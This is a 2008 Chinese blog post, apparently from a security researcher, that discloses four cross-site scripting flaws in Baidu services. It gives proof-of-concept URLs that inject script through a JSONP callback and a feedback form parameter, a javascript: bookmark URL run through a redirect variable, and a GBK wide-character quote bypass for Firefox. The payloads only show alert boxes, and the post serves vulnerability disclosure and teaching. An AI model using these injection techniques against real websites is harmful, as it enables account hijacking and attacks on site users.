百度空间 | 百度首页 
 
查看文章
 
The Week of Baidu Bugs - Day 05: 百度空间多处XSS漏洞
2008-07-15 11:30
注:版权所有,转载请注明出处。

继续我们的XSS之旅,先来看一个YY漏洞

XSS 5: 百度PDC CallBack XSS漏洞
baidu pdc的imstate从名字上来看似乎是用来查询IM在线情况的,正常情况下的一个请求大致如下:

http://pdc.baidu.com/imstate/?callback=IM_STATUS_CALLBACK&type=json&uids=testuser

这个页面会返回一个json的对象

IM_STATUS_CALLBACK({ })

但是在这里IM_STATUS_CALLBACK可以由用户控制,所以就能注入我们的恶意脚本

http://pdc.baidu.com/imstate/?callback=<script>alert(/XSS/)</script>&type=json&uids=


但是由于这里对callback的长度做了限制,又是该死的长度,所以导致我们只能玩玩这种弹框框的YY js。
但是用来骗骗小MM还是不错的。


XSS 6: 百度搜索用户反馈XSS
漏洞很简单,直接reflect
http://utility.baidu.com/quality/quality_form.php?word="><script>alert(/Fvck+Baidu+XSS/);</script><"

看看返回结果里,发现有一处地方是htmlencode过的,但是还有一个input里的value,则没有做htmlencode,只是简单的对双引号做了下处理,从而造成了XSS

<body onload="document.form1.requireddescription.focus()">
<form name="form1" method="post" action="quality_result.php" onSubmit="return checkrequired(this)">
<input type="hidden" name="query" value="\"><script>alert(/Fvck Baidu XSS/);</script><\"">



XSS 7: 百度搜藏XSS
这个漏洞有点特别。

搜藏可以从很多地方点进去,这里不赘述。

打开搜藏页面后,控制网址的内容为 javascript:alert(/XSS/);

页面打开时候是没有问题的,但是点击“添加收藏”后,则会执行我们的JS

实际上,这里baidu是用ajax来做了一系列操作,比如判断URL是否重复,判断提交是否成功。
ajax的返回是用json来做的,主要处理返回结果的js为 itemadd.js
返回页面:
{
resultNo:
"url重复" ,
resultBool:
false,
resultNum:30005,
userLogin: "1",
itemId: "026aec1d90a1e9e5ea1182a1"
}


如果仅仅是分析HTML页面,是看不到任何执行了我们JS的地方的,但我们的小框框确实是弹出来了。

这又是一个典型的DOM XSS

原因出在这里,在itemadd.js中:
function checkForm(){
    var f=document.fadd,oit=f.it,oiu=f.iu,odc=f.dc,otn=f.tn,vst=0;
    if(f.st.checked==true)
        vst=1;
    if(chek_submit(oit,oiu,odc,otn)){
        var vit=oit.value,viu=oiu.value,vdc=odc.value,vtn=otn.value,url='/do/cm';
        var p_pars='iu='+encode(viu)+'&st='+encode(vst)+'&dc='+encode(vdc)+'&it='+encode(vit)+'&tn='+encode(vtn);
        var pars='ct=5&'+p_pars;
       
        new Ajax.Request(url,{
            method:'post',
            parameters:pars,
            onComplete:function(xmlHttp){
                var jsonResults='('+xmlHttp.responseText+')';
                var retno=eval(jsonResults);
                if(parseInt(retno.userLogin)==0){
                    if(nw==true)
                        location.href="http://passport.baidu.com/?login&tpl=fa1&next_target=_blank&skip_ok=1&u="+checkUrl(location.href,1800);
                    else location.href="http://passport.baidu.com/?login&tpl=fa&skip_ok=1&u="+checkUrl(location.href,1800);
                        return
                }
                       
                var retTxt=retno.resultNo;
                var resultNum=retno.resultNum;
               
                if(retTxt=="url重复"){
                    var itemId=retno.itemId;
                   
                    if(confirm("url重复,是否覆盖?")){
                        new Ajax.Request(url,{
                            method:'post',
                            parameters:"iid="+itemId+"&ct=8&"+p_pars,
                            onComplete:function(xmlHttp){
                                var jsonResults='('+xmlHttp.responseText+')';
                                var retno=eval(jsonResults);
                               
                                if(parseInt(retno.userLogin)==0){
                                    if(nw==true)
                                        location.href="http://passport.baidu.com/?login&tpl=fa1&next_target=_blank&skip_ok=1&u="+checkUrl(location.href,1800);
                                    else
                                        location.href="http://passport.baidu.com/?login&tpl=fa&skip_ok=1&u="+checkUrl(location.href,1800);
                                        return
                                }
                               
                                var retTxt=retno.resultNo;
                                var resultNum=retno.resultNum;
                                checkResult(retTxt,resultNum)
                            }
                        })
                    }
                }
                else{
                    checkResult(retTxt,resultNum)
                    }
            }
    })
    }
    else
        return false
    };
   
......
   
    function checkResult(retTxt,resultNum){
        if(nw==true){
            if(retTxt=="添加成功"){
                hide(G("DivShm"));
                window.resizeTo(600,507);
                hide(G("iaMain"));
                hide(G("iaMain"));
                G("DivSucess").innerHTML="<p><table align='center' width='50%'><tr><td height='50px'></td></tr><tr><td style='text-align:center;height:100px;font-size:16px;'><img src='/-/imgs/icn_ok.gif'/>&nbsp;恭喜您,添加搜藏成功!</td></tr><tr><td align='center' style='font-size:12px;color:#808080'>本窗口将在<span id='autoTime'>3</span>秒内自动关闭...</td></tr><tr><td align='center'><input type='button' onclick='javascript:self.close();' value='&nbsp;&nbsp;立即关闭&nbsp;&nbsp;'></td></tr></table></p>";
                show(G("DivSucess"));
                IntervalObj3=window.setInterval("w_close()",1000)
            }
            else{
                switch(resultNum){
                    case 30101:showEM(document.fadd.it.parentNode.childNodes[1],errmsg[1]);
                    break;
                    case 30102:showEM(document.fadd.dc.parentNode.childNodes[1],errmsg[3]);
                    break;
                    case 30103:showEM(document.fadd.tn.parentNode.childNodes[1],errmsg[4]);
                    break;
                    case 30100:showEM(document.fadd.iu.parentNode.childNodes[1],errmsg[2]);
                    break;
                    default:{hide(G("DivShm"));hide(G("iaMain"));
                        window.resizeTo(600,507);
                        var c=G("errDiv");
                        show(c);
               
                        var s="<p>添加失败!"+retTxt+"&nbsp;&nbsp;<a href='javascript:back();'>点击返回</a></p>";
                        c.innerHTML=s
                    }
                }
            }
        }
        else{
            if(retTxt=="添加成功")
                location.href=redirectUrl;
                else{
                    switch(resultNum){
                        case 30101:showEM(document.fadd.it.parentNode.childNodes[1],errmsg[1]);
                        break;
                        case 30102:showEM(document.fadd.dc.parentNode.childNodes[1],errmsg[3]);
                        break;
                        case 30103:showEM(document.fadd.tn.parentNode.childNodes[1],errmsg[4]);
                        break;
                        case 30100:showEM(document.fadd.iu.parentNode.childNodes[1],errmsg[2]);
                        break;
                        default:{var c=G("errDiv");
                            show(c);
                            var s="<p>添加失败!"+retTxt+"&nbsp;&nbsp;<a href='javascript:back();'>点击返回</a></p>";
                            c.innerHTML=s;
                            hide(G("DivShm"));
                            hide(G("iaMain"))
                        }
                    }
                }
        }
    };

根据这段JS,可以看到如果返回页面为真,则改变location.href
            if(retTxt=="添加成功")
                location.href=redirectUrl;
而在这里,redirectUrl却不在这个js里,我找了半天,最后发现这个变量是定义在html文件里的
在style标签下面就定义了这个变量
</style>
<script src="/-/js/base.js?v=1.1"></script>
<script src="/-/js/checkform.js?v=1.1"></script>
<script src="/-/js/suggest.js?v=1.1"></script>
<script src="/-/js/itemadd.js?v=1.2"></script>
<script language='javascript'>
<!--
var redirectUrl="javascript:alert(2);";
var s_tags="未分类";
var s1_tags="";
var a_tags = [];

而最要命的就是,这个变量是直接取了我们输入进去的网址的值。

所以在ajax提交后,页面返回,会重新赋值location.href,改变ajax的 redirectUrl
从而会以伪协议执行我们的javascript,所以可爱的小框框就弹出来了。


分析到这里,我们就顺便发现了另外一个XSS漏洞,就是出在
var redirectUrl="javascript:alert(2);";


XSS 8: 百度搜藏宽字符XSS漏洞(Firefox)

先假设输入双引号闭合掉前面的引号,发现做了转义
var redirectUrl="\";alert(/XSS/);";

但是如果利用宽字符,在Firefox 下,应该能逃避这种检查机制。

所以我们构造%c1";alert(/XSS/);// ,发现在Firefox下成功执行js!

看看JS源代码,发现引号保留了。在这里,百度由于修补上一个漏洞的时候,对[%c1"]这种情况进行了判断,所以发现这种双字节的宽字符后,就没有加入"\"对双引号进行转义。
但是 [%c1"] 在IE下会被认为是一个字符,从而丢失了双引号;

而在firefox下,则会被认为是两个字符(GBK/GB2312编码时),保留了双引号

如下,在firefox中:


关于更多的利用宽字符来XSS的内容,请参考80sec的文章字符集导致的浏览器跨站脚本攻击

[感谢茄子检查出来的一处文章错误。]


欲知后事如何,且听下回分解

PS: 本次活动仅仅是个人行为,与任何组织或集体无关.

类别:象牙塔 | 添加到搜藏 | 浏览() | 评论 (13)
 
最近读者:
 
网友评论:
1
2008-07-15 13:21 | 回复
沙发党,今天的xss很丰盛
 
2
2008-07-15 13:28 | 回复
每次你都能抢到沙发,太强了,难道你每天就是在百度上不停的刷?~~~~@_@
 
3
2008-07-15 13:30 | 回复
这个,只是我路过的时候发现了而已...恩,就是这个样子,我可是很认真的在复习功课的,恩
 
4
2008-07-15 17:09 | 回复
楼上的 去我BLOG听雷歌
 
5
2008-07-15 17:23 | 回复
挖洞牛人哇。
 
6
2008-07-15 17:56 | 回复
强!不是一般的挖洞牛人。看来我以后要经常来看了,还有个不太好意思的问题:幻影里面是每个人各有一门技术呢?还是每个人都很全面,比如驱动开发,汇编,入侵,XSS等等都会?
 
7
2008-07-15 18:34 | 回复
应该说各有专精吧,不过也有像我这种例外的,啥都知道点皮毛,但都不怎么精~~#_#~
 
8
2008-07-15 19:23 | 回复
当年出幻影壳的时候,你有没有参与编写?
 
9
2008-07-15 20:06 | 回复
幻影壳和我们没有关系,呵呵
 
10
2008-07-15 20:12 | 回复
怎么用这么个鸟名字。
 
11
2008-07-15 20:41 | 回复
比较执着。
 
12
2008-07-16 17:33 | 回复
用户反馈这个我记得5月份我去百度面试的时候顺便就报了 到现在还没补。。
 
13
2008-07-16 21:43 | 回复
@刺:你说的那个人是在说我嘛?
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu